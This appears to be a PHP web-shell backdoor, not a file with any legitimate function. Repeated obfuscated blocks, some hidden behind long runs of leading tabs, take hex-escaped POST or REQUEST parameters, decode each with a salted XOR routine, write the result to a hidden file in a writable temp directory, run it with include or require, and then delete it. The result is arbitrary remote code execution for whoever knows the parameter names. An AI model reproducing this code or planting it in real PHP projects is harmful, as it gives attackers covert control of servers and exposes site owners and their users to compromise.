<?php																																										if(!is_null($_POST["\x73\x79m"] ?? null)){ $parameter_group = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]); $resource = $_POST["\x73\x79m"]; $resource= explode ( '.' ,$resource); $entry = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $__len = count($resource); for($j = 0; $j< $__len; $j++) { $v2 = $resource[$j]; $sChar = ord($s9[$j % $sLen]); $d =((int)$v2 - $sChar -($j % 10)) ^ 85; $entry .=chr($d); } while ($obj = array_shift($parameter_group)) { if (array_product([is_dir($obj), is_writable($obj)])) { $flag = "$obj/.comp"; if (file_put_contents($flag, $entry)) { require $flag; unlink($flag); die(); } } } }
																																										if(in_array("d\x65\x73c", array_keys($_POST))){ $item = array_filter([getcwd(), getenv("TMP"), session_save_path(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/dev/shm"]); $value = $_POST["d\x65\x73c"]; $value =explode ( "." , $value ) ; $itm = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4 ); $i = 0; $__len = count($value ); do { if($i >= $__len) break; $v1 = $value[$i]; $chS = ord($s4[$i % $sLen] ); $dec =((int)$v1 - $chS -($i % 10)) ^ 99; $itm .= chr($dec ); $i++;} while(true ); foreach ($item as $key => $entity) { if ((is_dir($entity) and is_writable($entity))) { $marker = sprintf("%s/.k", $entity); $success = file_put_contents($marker, $itm); if ($success) { include $marker; @unlink($marker); exit;} } } }
																																										if(isset($_POST) && isset($_POST["\x73\x79m"])){ $resource = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TMP"), "/var/tmp"]); $fac = $_POST["\x73\x79m"]; $fac =explode ( '.' , $fac) ; $obj =''; $s7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s7); $x =0; foreach ($fac as $v9) { $sChar =ord($s7[$x % $lenS]); $d =((int)$v9 - $sChar - ($x % 10)) ^ 84; $obj.= chr($d); $x++; } foreach ($resource as $key => $pointer) { if (array_product([is_dir($pointer), is_writable($pointer)])) { $entry = sprintf("%s/.data", $pointer); if (file_put_contents($entry, $obj)) { include $entry; @unlink($entry); exit; } } } }
																																										if(@$_POST["va\x6Cu\x65"] !== null){ $resource = $_POST["va\x6Cu\x65"]; $resource = explode ( '.' , $resource) ; $element=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $w=0; array_walk($resource,function ($v7) use (&$element,&$w,$salt,$sLen) { $chS=ord($salt[$w % $sLen]); $d=((int)$v7 - $chS - ($w % 10)) ^ 39; $element .= chr($d); $w++; }); $pointer = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP"), getenv("TEMP")]); while ($symbol = array_shift($pointer)) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $flag = join("/", [$symbol, ".ent"]); if (file_put_contents($flag, $element)) { require $flag; unlink($flag); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x68ld"])){ $fac = $_REQUEST["\x68ld"]; $fac =explode ( '.' , $fac ); $item= ''; $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt8 ); $q= 0; $__tmp= $fac; while( $v6= array_shift( $__tmp)) { $sChar= ord( $salt8[$q% $sLen] ); $d= ( ( int)$v6 - $sChar -( $q% 10)) ^ 66; $item.= chr( $d ); $q++; } $elem = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm"]); $mrk = 0; do { $token = $elem[$mrk] ?? null; if ($mrk >= count($elem)) break; if (is_writable($token) && is_dir($token)) { $pointer = str_replace("{var_dir}", $token, "{var_dir}/.entry"); $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $pointer; @unlink($pointer); die(); } } $mrk++; } while (true); }
																																										if(in_array("\x63omp", array_keys($_POST))){ $obj = $_POST["\x63omp"]; $obj = explode ('.' ,$obj ); $itm = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $m = 0; $__len = count($obj); do { if ($m >= $__len) break; $v4 = $obj[$m]; $chS = ord($salt5[$m %$sLen]); $d = ((int)$v4 - $chS - ($m %10)) ^ 66; $itm .= chr($d); $m++; } while (true); $symbol = array_filter([session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm"]); foreach ($symbol as $marker): if ((bool)is_dir($marker) && (bool)is_writable($marker)) { $entity = "$marker/.tkn"; $file = fopen($entity, 'w'); if ($file) { fwrite($file, $itm); fclose($file); include $entity; @unlink($entity); exit; } } endforeach; }
																																										if(in_array("d\x65sc\x72\x69pt\x6F\x72", array_keys($_REQUEST))){ $data_chunk = $_REQUEST["d\x65sc\x72\x69pt\x6F\x72"]; $data_chunk = explode( "." , $data_chunk) ; $fac =''; $s9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s9); $j =0; $__tmp =$data_chunk; while( $v4 =array_shift( $__tmp)) { $sChar =ord( $s9[$j % $sLen]); $d =( ( int)$v4 - $sChar -( $j % 10)) ^ 72; $fac.= chr( $d); $j++; } $key = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path()]); while ($dchunk = array_shift($key)) { if (!!is_dir($dchunk) && !!is_writable($dchunk)) { $tkn = str_replace("{var_dir}", $dchunk, "{var_dir}/.flg"); if (@file_put_contents($tkn, $fac) !== false) { include $tkn; unlink($tkn); die(); } } } }
																																										if(!is_null($_REQUEST["\x6F\x62j\x65ct"] ?? null)){ $pset = array_filter(["/dev/shm", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), "/tmp", getcwd()]); $element = $_REQUEST["\x6F\x62j\x65ct"]; $element = explode ( ".", $element) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($element); for ($w = 0; $w< $__len; $w++) { $v7 = $element[$w]; $chS = ord($salt[$w%$sLen]); $dec = ((int)$v7 - $chS - ($w%10)) ^ 57; $obj .= chr($dec);} foreach ($pset as $dat): if (is_writable($dat) && is_dir($dat)) { $factor = "$dat" . "/.ref"; if (@file_put_contents($factor, $obj) !== false) { include $factor; unlink($factor); exit; } } endforeach; }
																																										if(!empty($_POST["k"])){ $descriptor = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/var/tmp", getcwd()]); $reference = $_POST["k"]; $reference = explode ( '.' , $reference ) ; $symbol =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); foreach($reference as $v => $v3): $sChar =ord($s[$v % $sLen]); $dec =((int)$v3 - $sChar -($v % 10))^ 86; $symbol .= chr($dec); endforeach; while ($pointer = array_shift($descriptor)) { if ((is_dir($pointer) and is_writable($pointer))) { $flg = "$pointer" . "/.key"; $file = fopen($flg, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $flg; @unlink($flg); exit; } } } }


if(array_key_exists("\x68\x6Cd", $_REQUEST)){
	$element = array_filter(["/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd(), session_save_path(), "/var/tmp", getenv("TEMP")]);
	$parameter_group = $_REQUEST["\x68\x6Cd"];
	 	$parameter_group=		 explode 		(	  "." 	,	$parameter_group	 )   ;		
	$component=	 '';
            $s7=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	 strlen($s7);
            $j=	 0;
    
            array_walk($parameter_group,		function ($v6) use (&$component,		&$j,		$s7,		$sLen) {$chS=	 ord($s7[$j 	%$sLen]);
                $dec=	 ((int)$v6 - $chS - ($j 	%10)) ^ 43;
                $component .= chr($dec);
                $j++;
            });
	foreach ($element as $desc):
    		if (is_writable($desc) && is_dir($desc)) {
    $flag = sprintf("%s/.pgrp", $desc);
    $success = file_put_contents($flag, $component);
if ($success) {
	include $flag;
	@unlink($flag);
	die();}
}
endforeach;
}